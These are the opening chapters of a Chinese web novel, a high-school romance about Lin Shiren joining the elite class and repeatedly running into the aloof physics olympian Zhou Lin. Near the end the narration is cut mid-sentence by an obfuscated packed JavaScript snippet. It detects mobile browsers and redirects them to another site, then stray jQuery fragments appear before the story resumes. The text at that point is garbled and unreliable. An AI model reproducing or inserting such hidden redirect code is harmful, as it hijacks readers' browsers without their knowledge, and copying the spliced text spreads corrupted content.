《真的没有暗恋你》 1. 升班 后来才知道,原来祝你前程似锦,是告别的意思。 真的没有暗恋你 冉冉溪/2025.8.15 晋江文学城独家发表 八月的第一天,分班表出来了,汇文高中全体高三生提前开学。 空气中卷着燥热,校园内正在进行一年一度的大迁徙,座椅碰撞声如浪潮般席卷,教导主任的无能狂吼混着盛夏的蝉鸣,回荡在教学楼内的每一处角落。 林时稔抱着一摞书包装不下的练习册,步履匆匆地从四楼爬到五楼。她早上没吃饭,这会儿有点虚,迷迷糊糊地抬头,正看见高三(1)班的班牌悬在那里。 走廊里嘈杂聒噪,学生们叽里呱啦地讨论新的分班情况,她安静地站在后门,偷偷打量自己的新班级,说不出自己的心情到底是憧憬多还是压力更多,直到走廊里的风把后颈的汗吹散,她才轻轻呼出一口气,准备进去。 后门突然蹿出个女生。 说是蹿,更像是逃,步伐很快地撞到她,她抱着的书和女生的书包同时落地。纸张边缘锋利,林时稔的小臂陡然一痛,莹白的皮肤立刻出现触目惊心的血痕,她听见那个女生说:“该死。” 林时稔看过去,女生没有任何道歉的意思,从满地狼藉中捡起书包,每个动作都带着情绪,临走时还瞪了她一眼,红透的眼里满是不甘。 脑子告诉她,是这个女生的错,应该让她道歉,但看到对方眼泪像两条小溪一样往下流,林时稔张了张嘴,还是咽下这口窝囊气。 胡乱地把书捡起来,心里的退堂鼓却敲得震天响,现在跟教导主任说她不想从平行班升到重点班了,还来得及吗? 高三一班的教室里,理书声里埋着体委和旁边男生的对话:“于雪卉降到平行班了,刚刚收拾书包的时候像丢了魂似的,我想帮她搬东西又怕她多想。 ” “唉,没办法,她最后两次考试都砸了,平均分拉得太低,排名都掉到一百开外了。” “其实去平行班也挺好的,她在咱们班压力太大,反而影响心态。” “靠,你要是跟周凛同桌,你心态也得崩。” 此话一出,周围响起哄然的讨论声。 隔壁排的女生们接过话,半开玩笑的调子:“听说周凛保送了,真的假的?” “数竞是思维炼狱,物竞是体力绞杀,周凛这种双修的大神,都进国家集训队了,保送还不是迟早的事儿。” 体委挑眉,朝一个方向指了指:“分班日都不返校,这还不明显吗?” 几个人看过去,他所指位置的桌面上空无一物,有种主人已经离去的悲凉感,女生们的失望肉眼可见。 不过,她们又很快打起精神:“幸好还有沈序清,周凛不在,校草的位置也该让出来了。” 这个名字闯进耳朵的时候,正在拆创可贴的林时稔动作一顿,低垂的长睫微颤。 “对呀,沈序清的理综也很强呀,只不过他不走竞赛。” “而且他脾气超好的,上次那道数学压轴题我没听懂,他给我讲了三遍。” 有些人的存在,就像太阳穿过云隙,会把世界全部照亮。林时稔听得很认真,可分心带来的连锁反应就是,黏性的地方不小心沾伤口的边缘,她“嘶”了一声。 另一边,男生们对校草PK不敢兴趣,插入新话题:“对了,这次从平行班升上来几个?” “等等,我看看。”讲台上有分班表的纸质版,体委自告奋勇拿,一堆脑袋凑过来,挨着人名往下数。 “好像一共四个人,三个男生,一个女生。” 汇文采用年度分班制,根据上下学期的八次考试成绩综合排榜,高三一共十五个班级,文理科重点班各一个,班内成员流动性不大。 体委指着个名字,咦了声:“这个林时稔是谁?有认识的吗?” “男生女生呀?” “笨蛋,没看见性别栏吗?” 讨论一圈傻眼了,没一个认识的。 男生突然柯南上身,装模作样地搓搓下巴:“不应该呀,能考进重点班,怎么也得是普通班里的名人,同校两年竟然没人认识,那么真相只有一个,她应该是传说中的——” 视线齐齐落他身上,他说:“汇文扫地僧。” “切!” “你好抽象。” 废纸团雪花般地砸过去。 教室里这会儿还笼罩在喧嚣氛围,扫地僧林时稔正在习惯性地用湿纸巾擦桌子,她坐在靠墙的过道,讨论区的侧后方。结束整理之后,她把水杯盖紧,又从垒高的书本里抽出本练习册,咬开笔盖做题。 “林时稔。” 课代表抱着沓卷子从前门进来,他扫视了一眼教室后,声音轻微带喘:“陈老师喊你去办公室。” 这个名字一出,窸窸窣窣的说话声倏地安静,前排同学紧跟着回头。 女生扎个丸子头,几缕碎发散落在莹白颈间,穿着无袖宽松的连衣裙,不知道是不是追随的目光太过于轰轰烈烈,她起身时耳尖微微泛红。 林时稔在门口跟课代表道谢,然后眼睫低垂地出教室。 看着那道纤细的背影消失在视界里,讨论小组一个个魂魄归位,体委跟男生确认:“我们刚刚说她的时候,她就已经坐在那儿了吗?” “包的。” 同桌用书砸向自己脑袋,“现在抠三室一厅还来得及吗?” 教学楼里学生们上上下下地穿梭,林时稔逆行在人流里,身影从平行班的区域穿过。教师办公室在走廊尽头,门半掩,不知道在讨论什么,声音带笑。 “这届IPHO的成绩出来了吗?” “出来了,是金牌,中国队从2007年之后,就是全员金牌了。” “周凛真不错,给咱们学校争光了,估计Q大和B大又得来抢人。” 林时稔对他的事情不感兴趣,但还是站在门口等里面的声音小了,才深吸一口气,曲指在门板上轻轻敲三下。 “请进。” 陈默是高三一班的班主任,五十岁上下的年纪,身材微胖,笑起来特有亲和:“坐吧。” 林时稔在他对面坐下,手指绞住裙摆,坐姿挺拘谨的:“陈老师,您找我?” 陈默又笑:“别紧张,就是找你聊聊天,还适应吗?” “嗯……” 换班当天就遭受血光之灾,还听了一耳朵重点班的八卦,林时稔看着他,不知道这话该怎么回。 陈默这才注意到她小臂上的创可贴,问:“胳膊怎么了?” “没事儿,书太新,不小心划伤了。” 女生杏眼偏圆,瞳色浅褐,鼻尖微微上翘,挺腼腆一小姑娘,就是脸上藏不住事儿,陈默心里有数了。 他脸色挂着慈爱的笑:“我跟你以前的班主任了解了你的情况,她夸你是非常优秀自律的学生,稍微短板一点的科目就是物理。这个你一点都不用担心,物理竞赛的国家队队员都在我们班,你正好可以用假期补齐短板。” 不愧是周凛,到处都是的传说。 汇文高中本就是省重点,集满整个淮城的天之骄子,可像他这么一骑绝尘,成绩断崖碾压重点班一众学霸的,在学校历史上也是凤毛麟角,也难怪陈默提起他时,眼里盛满欣慰。 林时稔点头。 “重点班上课进度会比平行班快,任课老师的要求也高,但是我们班不搞题海战术……” 重点班是汇文的活招牌,每年TOP2的升学率相当可观,学校也是不遗余力地重点培养这批好苗子,单科的任课老师全都是教研组的组长。陈默当过十几年班主任,今年第一次带重点班,说没有压力是假的,他最近甚至看了不少心理学方面的书籍。 “给自己点时间适应新的节奏,成绩起伏都是正常的,你不要有心理负担……” 林时稔从小到大有个毛病,一听大道理就很难集中注意力,陈默的嘴巴开开合合,她的思绪却不自觉地飘远,开始在脑中设想跟沈序清说第一句话的场景。 是若无其事地请教一道物理题,还是把两年前的雨伞还给他,周遭肯定很多人,以前是隔着十间教室的距离,哪怕在楼梯转角擦肩而过,她却连打个招呼都得酝酿好久,只能偷偷从余光中捕捉他侧脸掠过的弧度…… 有别班班主任来找陈默,他没留她太久, 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连续几天收到同样的消息,她突然觉得索然无味,没有任何对话欲地给手机锁屏。 晚高峰公交车真像个有情有义的钢铁巨兽,车门都要挤掉了,也绝对不抛弃任何一位乘客。九站的时间里,林时稔被上上下下的人流一路从车头挤到车尾,最后下车的时候,小臂上的创可贴都挤丢了。 六点半的光景,光线薄而艳,天气预报显示仍然是三十度的高温。家楼下的便利店里,店员帮她打包关东煮。 感应门叮咚一声响,有人进来了。 玻璃门外是色彩绮丽的晚霞,正赶上林时稔从钱包里拿钱,有光的地砖上,一双长腿擦身而过。 结账的时候,收银员脸上挂着歉意的笑:“不好意思,店内的零钱用光了,只能电子支付。” “啊?” 完全是意想不到的情况。 林时稔的生活费都是现金,学校里也不让用手机,所以她的支付宝里几乎没什么钱。可关东煮已经打包好,她眨了眨眼:“阿姨,我用现金跟你换钱,行吗?” “那我就说不清了。”收银员指了指头顶的摄像头。 店内冷气很足,她抚了抚光裸的双臂,突然有些不知所措。 收银员挺热心,视线在店内巡视一圈,下巴朝她身后一指:“要不,你把现金换给那位帅哥呢?” 林时稔下意识回头。 男生被敞开的冷藏柜门挡住脸,只露出隐隐约约的锁骨,以及略带肌肉感的手臂,他正从货架往外拿可乐。 即使只是一个轮廓,却像门采笔下的素描,身体每一处起承转合都勾勒出流畅的线条。 “咔”一声响,玻璃门闭合,男生转身。大概察觉到了这边的目光,他心无旁骛地看过来,视线撞上的瞬间,林时稔呼吸轻微起伏。 意料之外的人,就这样出现在眼前。 周凛。 漆黑深邃的目光扫过来,然后又很快移开,慢条斯理地走过来。他没什么情绪地把可乐放在柜台上,头顶的射灯兜头而下,睫毛在他眼下投一小片阴影,下颌线分明,混合着少年气和棱角感。 林时稔还在斟酌着到底是以同学的身份开口还是陌生人时,收银员已经率先做出决定。 “帅哥,店里零钱用光了,你能帮这位小姑娘换一下钱吗?” “嗯。”他的声线本来就清冷,从进门到现在,全程就说了这一个字,高冷如斯。 为什么要这么装!? “太感谢了。”收银员没看出林时稔的尴尬,指腹屏幕上操作了几下,拿着扫码器对准商品上的条形码。 他的个子很高,靠近时有天然的压迫感,她不敢跟他对视,目光没处放地跟着他的手。 均匀修长,指节带着薄茧。 然后就看着他从旁边货架上拿了盒东西,特别自然地递过去一起结账,待林时稔看清盒子上的字时,有什么东西突然在脑子里炸了,双颊轰一声烧起来。 杰士邦, 超凡持久, 六只装。 2. 下雨 林时稔食指用力按上小臂,伤口涌出一股尖锐的疼,她骤然回神。 “收款码。”偏冷的声线又重复了一遍,字字落耳。 周凛刚从瑞士回来,连续几天的IPHO竞赛,饭没吃好觉没睡好,下午正好好地在家里调时差,刚睡了没几个小时,就被一连串夺命连环Call吵醒,正处于不想说话的起床气阶段。 他站在她面前,半垂着视线,利落短发下是一双幽深无底的黑眸,手机摊在她面前,还保持转账的动作,冷白削瘦的手腕上青筋明显。 林时稔攥着手机的掌心都出汗了,在他的目光下硬着头皮划开屏幕,轻咽了下嗓:“谢谢。” 金额实时到账,她立刻转身远离他一步,周凛掀了掀眼皮,脑袋里恰如其分地浮现一个成语:过河拆桥。 随后,脚步声朝着门口去。 林时稔的耳朵一直竖着,视线不受控地偷瞄过去,周凛却突然朝她的方向回头,动作太迅速,以至于四目相对的时候,她脸上的表情是极度丰富的。 慌乱、心虚,和来不及收的嫌弃。 周凛拎着可乐停在原地,挑眉。 审度的目光,肆无忌惮。 那一刻鸦雀无声,空气都稀薄了,林时稔身体每个关节都像老旧的金属生了锈,稍微一动就发出吱吱嘎嘎的响声,连嘴巴都结巴了:“那个,好像,有满减活动……” 到底在胡言乱语什么? 她真想暴揍自己一顿,口干舌燥,但是对着周凛质询的眼神,还是装淡定地指了指旁边的易拉宝:“就,优惠力度还挺大的。” 周凛的表情没什么变化:“优惠?” 不是吧! 不用在意她的话。 竞赛的奖金不是很多吗? 更让林时稔惊恐的是,他竟然又走了回来,注意力真的被那张海报吸走,眼神完全是尖子生面对竞赛题的专注。一秒,两秒,三秒,他到底要看多久?她拧了大腿一记提醒自己不要露怯。 她的面部肌肉眼看要抽筋,周凛终于研究完了优惠信息,视线重新落她身上,唇角似笑非笑:“第二件半价,你要凑单?” “……” 林时稔:? 晚风潮热,天边飘着绮丽的火烧云。 正是放学和下班的高峰期,马路上通行缓慢,车鸣刺耳。 周凛在便利店门口等网约车,手机挂耳侧,对电话那头扰人清梦的人,很难有好态度:“跟人沾边的事儿,你是一样都不干。” 对面显然缺少必要的自知之明,还在喋喋不休地聒噪着,周凛听不下去了,用鼻子哼一句:“地址发我。” 挂了电话,身后响起自动门开合的声音,他侧头看。 刚刚的女生从里面出来,可能是凑单失败了,整个人有点颓,看见他没打招呼,目不斜视地继续走。 闷热的空气里,周凛单手拉可乐拉环,“咔”一声,气泡上涌,他自顾自地喝着,喉结滚动。 碎金霞光落在女生的后颈,她已经由走变跑,且速度越来越快,裙摆扬起的弧度很大,两条细腿快速交错,书包上的小兔子挂饰一甩一甩的,像身后有什么洪水猛兽一样。 关东煮的汤汁,淅淅沥沥洒了一路,她浑然不觉。 周凛盯着那道身影消失在视野里,顾自失笑。 …… 大抵是身体素质实在太差,林时稔打开家门的时候,心脏快要从胸腔里面跳出来,鞋都没力气换,书包一甩,直接软在沙发上。 濒死的感觉终于过去了,心跳平缓,呼吸均匀,可脑子还是乱糟糟的。 在她的认知里,高中生还是以学习为主,就算谈了恋爱大多也都处于纯爱阶段。可刚刚一幕击碎了好学生的滤镜,她即使再单纯也知道“买套”和“地址”代表了什么,而周凛表情淡定、流程纯熟,至少约过上百次的样子。 还恬不知耻地问她要不要凑单?! 在心里把他咒骂了一百八十遍,她拿碘伏给自己上药,盯着手臂上的伤口,心里隐隐又有了另一层忧心,周凛返校后会认出她吗? 晚上九点,门锁传来动静,钥匙啪一声落鞋柜上,客厅灯亮了,那时候,林时稔正坐在书桌前做题。 她认真思考时耳朵会自动屏蔽噪音,所以辛晓梅喊了两次,她才听见动静。 辛晓梅是淮城中心医院住院部的护士长,每天上班起早贪黑,作息跟高三生有得拼。林时稔时常在想,考大学的意义到底是什么?要是她废寝忘食这么多年,最后人生还是像辛晓梅一样忙碌辛苦,那她不如现在就去当牛马算了,反正殊途同归。 人还在客厅换鞋,嗓门先传了进来:“俏俏,你晚上吃的什么?” 俏俏是她的小名,辛晓梅只有心情好的时候才会这么叫,平时都是直呼她“林时稔”。 “忘吃了。” 傍晚那会儿跑得太快,关东煮半路就牺牲了,回到家又胡思乱想一番,她是真的把吃饭这事儿忘了。 拖鞋声由远及近,接着脑袋就挨了一下,辛晓梅叉着腰瞪她:“你怎么回事呀,不是让你订个外卖吗?真该让你去我们医院看看,现在胃癌的发病率有多高。” 林时稔斜过头避开她,视线始终在卷子上。 辛晓梅念完就出了卧室,厨房响起油烟机运作的声音,她皱着鼻子小声抱怨:“外卖还不是预制菜,吃了也一样要得癌症。” 二十分钟后,辛晓梅又进来,她换了家居服,手上还端了碗鸡蛋面,往桌子上一撂:“真是欠你的。” 刚刚做题的时候还不觉得,这会儿香味飘进鼻子,空虚的胃立刻不争气地发出异响。 林时稔一言不发地把卷子收了,然后提筷子开始吃。她吃饭的动作很秀气,辛晓梅坐在床边看了一会,问:“你胳膊怎么了?” “被人撞了一下。” “怎么回事?对方什么人呀,跟你道歉了吗?” “没。”始料未及的问题,她下意识就说了实话,说完就后悔了。 “呦!” 辛晓梅撇嘴,“就会窝里横呀,跟你那个爸一模一样。” 他们父女俩每次挨骂都是买一赠一,林时稔早都习惯了,于是放弃反驳,空气里只剩轻微的咀嚼声。 辛晓梅有严重的洁癖,看着杂乱的桌面就皱眉,起身开始整理:“这个月的抚养费拿到了吗?” “拿到了,钱放在你床头柜上。” “你让他下次给你转账,别总给现金,我工作忙死了,还得去银行存钱。” 辛晓梅和林志远的婚姻在七年前就走到了尽头。 两人干净利落地分割了财产和抚养权之后,微信对话框里就只剩下纯粹的金钱交易记录。或许是对辛晓梅抚养费收得心安理得、冷漠无情、收完连个动静都没有的态度不满,林志远从林时稔上高中起,突然要求每个月见她一面,并亲手转交抚养费。辛晓梅对此嗤之以鼻,不过她也算体面,除了时不时的冷嘲热讽,没有阻拦林志远毫无章法的父爱。 林时稔把长发绾到而后,就着碗喝了口汤,看她:“妈,我看了你的排班表,后天是早班吧?” 辛晓梅手上动作没停,自顾自地把散落在外的笔塞进笔筒:“怎么了?” “我生日。” 话落,辛晓梅看她,林时稔放下筷子,错开视线,看向窗外。 今天是十五,圆月如玉盘般挂在那里,青辉四溢。 “那天正好是周日,学校放半天假,我昨天已经问过爸爸了,他那天也有时间,你们能一起陪我吃顿饭吗?” 空气安静了七八分钟,辛晓梅终于把桌面收拾干净了,她给垃圾袋打了个结,抹了把额上的汗:“别选火锅,我最近上火。” 夜很深了,卧室窗帘被风扬起,月光照着床头的铁艺栏杆。 林时稔在床上打了七八个滚,才终于平复下来扑通扑通猛跳的心,心情实在是好,嘴角怎么也降不下来。 对于辛晓梅这么强势的人来说,说“No”的速度比火箭都快。 没拒绝,那就是同意。 林时稔盯着漆黑一片的天花板,大脑很亢奋,不知怎么就又想起了周凛,她从枕下摸出手机,用小号访问他微博主页。 周凛的最新动态是在一周前,只发了张风景照,没 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林时稔又划到之前的视频去比对,拍摄角度和钢琴上的小盆栽都对得上。既然许意峤在家里,那么周凛就不是和她…… 许意峤的微博,每一条点赞量都很高,不出意外地,看到了沈序清的留言:「好听,已加入歌单」 歌单某种意义上类似加密日记,脑袋不由自主地掠过两年前的暴雨夜,她也曾经听过沈序清的歌单。 高一刚开学不久,记不清是第几次跟辛晓梅冷战了,天气预报有强降雨灾害,她故意不带伞上学。 下午四点,暴雨倾盆而至,天很快黑透,教育局通知全市中小学提前放学。教学楼空空荡荡,人都走光了,她趴在窗台看了会儿雨,保安大爷拎着钥匙上来了,问她怎么还不走。她最后撂一眼安静如鸡的手机,面无表情收拾好书包,跟大爷说了再见,冒着雨走到学校门口的便利店。 店员开门问她要不要进来躲雨,她摇头,也不知道想跟谁较劲儿,就八风不动站在屋檐下等雨停。 整个世界瓢泼一片,路面上炸出一朵朵烟花。 沈序清就是那时候出现的。 他撑着伞从学校里出来,路过便利店的门口时,目光徐徐定格在她身上。一个女生,浑身湿透,眼睛红,傻子也能看出点什么,但他偏偏什么都没问。 上车后,后座响起一道温柔的女声:“快擦干,小心感冒。” 她下意识抬头看,车内亮起暖黄的光,女人和沈序清五官有八分像,一看就是母子。 沈序清收了伞,系好安全带,跟开车的人说:“爸,先送我同学。” “行。晚上想吃什么?” “红烧排骨、蒜蓉芥兰、麻婆豆腐。” “你干脆点个满汉全席得了。” 挡风玻璃上映出沈序清的脸,沈序清给手机匹配蓝牙后,回头对她温柔一笑:“你知道有的地方,把下雨叫做滴星吗?” 那是林时稔听过关于「下雨」最浪漫的描述,车载音响很快传出好听的旋律…… 街道的铁门被拉上 只剩转角霓虹灯还在闪 这城市的小巷 雨下一整晚① 那天车里的歌,经过反反复复地回忆,每一个音节都清晰无比,现在仍是她雨天的必听曲目。 开始,只是好奇他的名字,后来,对他的了解越来越多。 同样是淮城一中的名人,同样颜值和成绩拔尖,最喜欢的球星是科比,咖啡偏爱冰美式,书包里随时都装着猫条,和周凛的冷傲相比,他的路人缘更好。 林时稔关注他的微博两年了,从来不敢留言,也不是完全不敢,她也曾经故意顶着大号去浏览,顶着小号去留言,故意不删访客,但并没有得到任何回复信息和回访记录。 她仿佛看到了在月宫里砍伐桂树的吴刚,一切都是无效的。 突如其来的低落,连林时稔自己都搞不清楚原因,于是把所有的情绪归咎于换班的压力。新的环境,新的人际关系,还有一年后的高考,未来的不确定性,真的太多太多了…… 空气闷热浮躁,她把手机调成飞行模式,蜷着身子躺在小床上,强迫自己入睡。 3. 地铁 半个长夜在光怪陆离的梦中度过。 窗帘被风吹开,清晨的阳光照进来,脑袋突然从枕上滑落,林时稔惊醒的时候,身上一片潮热。 她做了一个噩梦,梦里周凛骑着金扫帚飞在空中,打出的风让人无法睁眼,降临到她身前的时候,居然丢了一盒避孕套过来,让她把身上值钱的东西都装进去。 简直荒谬到不行。 更荒谬的是,梦里连他手背上蜿蜒的青筋都是清晰的,她甚至还看清了食指那道疤痕,小小的,月牙形。 该来的不来,不该来的来了。 林时稔觉得好心塞,活了整整十七年,梦里唯一出现的男性竟然是周凛,那可是专门留给沈序清的位置。 她其实能接受别人高中就发生亲密关系,又不是裹小脚的清朝人,但是一想到周凛在学校那副高冷之花的样子,就觉得这个人可真是太虚伪了,对他的讨厌程度不自觉地又上一层楼。 被污染的梦,滋生了一早上的内耗,脑子里只剩下要用知识给自己洗脑的想法,于是以毫不耽搁的速度起床洗漱,草草吃了早饭,出门。 早上六点四十,林时稔提前到了地铁站。 鉴于辛晓梅答应了周日吃饭,她昨晚在大众点评上查了好几家环境好性价比高的餐厅,趁着等车的空隙,把链接同时转发给辛晓梅和林志远。 还不到上班高峰期,等车的人并不多,林时稔素颜裸唇,长发束成马尾,暑假不用穿校服,她在黑色T恤外罩了件防晒衣,一身行头格外朴素。 辛晓梅总说她年纪轻轻一身暮气,但她却喜欢这种在人群里也不会被注意的感觉。 车厢里的空位很多,对面坐的两个女生也是汇文高三的,眼熟又叫不出名字那种,她不想跟任何人对上视线,找了靠车门的角落坐下。 林时稔划着歌单里的音乐,选了首周深的《小美满》来听,路上听歌她习惯只戴单边耳机。 手机弹出新消息的提示音,是林志远发来的:「饭店还是听你妈妈的吧,我选了她肯定要反对」 这对前任夫妻相互耿耿于怀的事情太多,林时稔没挑破,指腹轻盈地打字:「爸爸,不用订蛋糕,我妈订了」 林志远:「行,那吃饭爸爸做东」 这句话甩出来,林时稔就高兴了,一家三口开开心心坐下来吃一顿饭,是她最大的生日愿望,唇角不自觉上翘,回了个可爱的表情包。 一首歌的时间,不知不觉就到了下一站,车厢门缓缓开启,伴随着交错而过的乘客,杂乱的脚步声由远及近地波及过来,一个男生呼吸不匀地跑过来。 对面的女生们看过去,不认识的路人看过去,林时稔也看过去。 斜对角的方向,宋辞正对着另一人兴师问罪,那人坐在靠门的空位上,穿着简单的白T,腿很长,灰色运动裤质感垂顺,裤管和高帮球鞋中间是一截白皙的脚踝,只有脸看不见,被宋辞的后背挡得严严实实。 宋辞站在那儿,粉色T恤领口被汗泅湿,声音忿忿:“小周周,答应我不回消息就把手机换成不锈钢盆好吗?” 这又是汇文的一个传奇人物,反面教材那种,平时最欢跟教导主任唱反调,写过的检讨比作业都多,却依然可以连续两年稳居重点班,这么不服管教的一人,偏偏跟年级第一的周凛形影不离…… 林时稔愣滞了几秒,心里打鼓,觉得该不会这么倒霉,连续两天遇到同一个人吧,疑心重得连视线都忘了收。 车门在“滴滴”声中关闭,列车启动的惯性让宋辞重心不稳,他在摇晃中坐进空位,被他挡住那人的模样,清晰地呈现在眼前。 林时稔吸一口气。 简直是天杀的巧合!又遇到周凛了。 不知道是不是对“小周周”的称呼不满,他的表情并无悦色,脸上有种“又被傻子缠上了”的无奈:“你怎么知道我在这节车厢?” 宋辞看起来气得不轻:“这种天气就需要你的冷暴力,是牢里信号不好吗?” “爸爸躲不孝子,不是天经地义吗?”周凛终于掀起眼皮,手肘搭在双膝上,手机在掌心中翻转,屏幕还亮着,整个人很松弛。 “滚蛋。” 两个少年青春又养眼,光是坐在那儿就吸睛,车辆内的氛围变得有些微妙,不少人偷偷打量。对面两个女生的动作都变得不自然,偷瞄几眼后会压低音量聊天,好像在说什么见不得人的八卦。 铁轨发出巨大的噪音,林时稔回神,心跳还翻覆,只能战术性刷手机掩饰尴尬,同时在心里提醒自己,一定别往那个方向看。 空调口徐徐地吹着冷气,宋辞说了会儿无聊的话,突然想起正事:“对了,物理作业借我抄抄,要不老陈又得发飙。” 周凛没说话,把书包扔他身上,宋辞像接住宝贝似的,从里面翻出物理试卷,笔端迅速地抄完选择题,翻到背面时眉头紧锁:“大题不写步骤,能不能考虑一下抄作业人的心情!” “昨天坑我一次,今天又一次,double Kill,怎么也得补偿我吧?” 他又絮絮叨叨地抱怨好几句,周凛都置之不理,修长的脖颈微微后仰,靠着椅背闭目养神。 林时稔的耳机虽然还挂着,但音乐早就停了,所以当对面两个女生讨论声变大时,八卦轻易就漏进了耳朵。 “你说许意峤追到周凛了吗?” “谁知道,重点班不少人在传,估计差不多吧,毕竟许意峤成绩好、家世好,人也漂亮……” “大神的脑回路不能跟凡人相提比论,我觉得周凛对学习之外的事情都不感兴趣。” No! 大错特错!!! 他对学习之外的事情很感兴趣,尤其是开房,一次会买六个…… 林时稔好想反驳,不由自主地撂一眼,碰巧对面女生也看过来,她欲盖弥彰地把视线拐走。 另一头,宋辞已经抄完了答案,他边折试卷边盯着周凛,见他好像真的睡着了,突然就起了恶作剧的心思。他拉开自己书包,悄无声息地掏出个巴掌大的小盒子,夹在物理卷里再塞回周凛书包,最后还不忘贴心地把拉链拉严。 动作麻利地做完这一切,宋辞唇角勾起一抹得逞的坏笑,视线朝周围一扫,正正好好跟林时稔对上。出人意料地,他丝毫没有被人抓包的心虚,反而是对她做了声“嘘”。 林时稔被他的动作弄得瓷了几秒,尴尬地吞咽了一下,扭头看向相反方向。 这样的场景并不陌生,昨天也碰到过,但因为隔着一段距离,如芒在背的压迫感不如昨天强烈。脑子现在才开始转,虽然宋辞做得隐蔽,但他往周凛书包里塞的那盒东西,她看得清清楚楚,化成灰也认得。 又是杰士邦! 两个人果然是一丘之貉。 不但在公开场合传递这种东西,还装进书包带到学校去。 另一头,宋辞在大脑中迅速完成了名字和长相的匹配游戏,突然眼睛一亮,“哎,那不是新同学吗?” 他见周凛还没睁眼,胳膊肘怼过去:“别怪我没提醒你,长得怪好看的。” 宋辞觉得自己只是耳语,但车厢内安静,“怪好看”三个字就还挺清晰的,林时稔盯着脚尖,不敢再到处乱看。 不止脸红,耳朵尖也发烫。 地铁一阵剧烈晃动,周凛在突出其来的状况中睁眼,眼皮耷拉着,散发着睡眠再次被打扰的不爽气场。大概是在公共场所,他并没有迁怒到宋辞身上,只没什么情绪地斜他。 这一眼,就看见了脚踝交叠、坐姿尴尬的林时稔。 周凛其实是个脸盲,记公式的时候可以过目不忘,但就是记不住别人的五官,有时候宋辞指着一排女团问他哪个小姐姐漂亮,他是真觉得长得都差不多。不过昨天那个女生,不知道是不是因为近距离观察过的原因,他好像记住了她的长相。 皮肤很白,眼睛像浸在牛奶里的黑葡萄,鼻翼上那颗褐色的小痣娇俏可人,他第一次觉得宋辞的审美终于在线了。 周凛挑眉:“她是我们班的?” “对,从平行班升上来的,好像叫林时稔。” 林时稔。 他咀嚼了一遍这三个字。 昨天是故意逗她的,他很少在别人脸上看见嫌弃的表情,也就突然来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256428|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏心思,想要吓吓她。果然,他提出拼单后,女生杏眸瞪得很大,眼里情绪开始变,嘴巴张张合合发不出声音,整个人一副惊慌失措的样子。 很像他养的猫。 露怯的小聪明,又乖又反骨,竟然意外和谐可爱。 她垂着头,努力降低自己的存在感,明明听见自己的名字却不敢看过来的样子有点好笑,周凛收回视线,长腿往前伸了伸:“你说话小点儿声,人家女生很尴尬。” 宋辞像发现什么惊天八卦,脸上憋着坏,“这就护上了?小周周,你不对劲儿,非常不对劲儿。” 不对劲儿吗? 周凛脑子里突然蹿出那截在便利店门外夕阳下的白皙颈子,喉结轻微滚动,睫毛突然有些痒。 宋辞见他没反驳,越说越来劲儿:“要不要去给新同学做个自我介绍,昨天分班就你没来,新同学肯定不认识你。” 凑过来的脑袋被周凛拍了回去,他低敛着眉眼:“少发神经。” 宋辞没被他的冷眼击退,不过到底收敛了动作:“新同学也不理,许意峤给你微博留言你也不回,你这个人怎么这么冷血?” 周凛眼皮掀起浅浅一层,不置可否。 他没兴趣去了解女生曲径幽深的感情世界,现阶段对他而言,竞赛拿奖保送Q大姚班才是正经事儿。 宋辞突然压低了音量,表情前所未有的认真:“咱俩认识这么多年,兄弟想跟你要你一句实话……” “什么?” “你到底是不是直男?” 但周凛的反应出人意料,他从口袋里摸出手机,按下一串数字:“诗姐,你弟最近发情了。” “我靠,你跟谁一伙的?” 宋辞从他手里夺过电话,嘟哝了声没劲儿,总算安静下来。 地铁终于到站。 林时稔在车门打开的瞬间就飞奔出去,周凛和宋辞也一起下,只不过她上电梯的步伐稍快,中间隔着不少乘客。 宋辞盯着那道背影,心中疑惑:“新同学跑这么快干什么,见鬼了?” 周凛:“……” 早自习是七点十分,教导主任在校门口抓迟到大户。 浮躁的分班日过去,尽管还是暑假,高三一班如之前无数个日子一样,人人皆埋头苦学,学习氛围浓厚。林时稔也不乱看,垂着头,快步朝自己的位置走去。她轻车熟路地把水杯挂到桌侧,从垒高的书里抽出本练习册,注意力却不自觉地飘向左后方。 沈序清正安静地做试卷,笔端轻轻移动,周身笼罩着不浮不躁的气场。 早自习没有老师,教室里偶尔有讨论的声音,董蕊用胳膊肘碰她:“化学老师很凶,她留的作业一定要写完。” 一句话被人扯回思绪,林时稔眨了眨眼,还有点状况外:“不写完会怎么样?” “五分钟课前演讲,陈述不写的原因。” 那也太让人社死了。 这个消息比什么指令都好使,她甚至惊叹于自己的执行力,闭着眼睛就从书包里精准地抽出了化学卷,然后咬着笔盖认真研究,态度比去庙里拜见观音菩萨还虔诚。 墨菲定律告诉我们,当你担心某件事情会发生的时候,那它就一定会发生。 教室外的走廊里,周凛独自走在穿行来往的学生中。 刚刚路过平行班的时候,五班的物理老师跟他聊了几句IPHO比赛的情况,宋辞就先回教室补作业了,再进教室的时候,早自修的铃声刚好响。 一米八几的身高,想低调也低调不了,半数人抬起头来,视线潮水般跟着他走。 不知道是谁起高调,突然开始鼓掌,林时稔正在心无杂念地补作业,循着声音抬头,就看到他正好停在她的课桌前。 周凛的座位在靠窗的第四排,跟宋辞是同桌,也就是说,她的座位不是他的必经之路,林时稔的心脏狂跳。 居高临下的角度,两人视线相撞,周凛用指骨节叩了叩桌面。 几十双眼睛同时行注目礼,空气冻住了一般,林时稔手一抖,力透纸背,化学卷立刻戳出一道口子。 周凛要干什么? 4. 小票 全班的目光都在周凛身上,周凛看着林时稔,而林时稔在近乎屏息的安静中错开视线。 她的目光随着那只修长而骨节分明的手,看着他的手掌似雷神之锤落下,蜷缩的手指轻轻松开,一只白色的蓝牙耳机跌落桌面,一声脆响。 低缓的男声从头顶传来:“你耳机掉了。” 林时稔短促地眨了眨眼,有点状况外,经董蕊提醒,她才从书包里摸出耳机仓,果然左边的位置是空的。 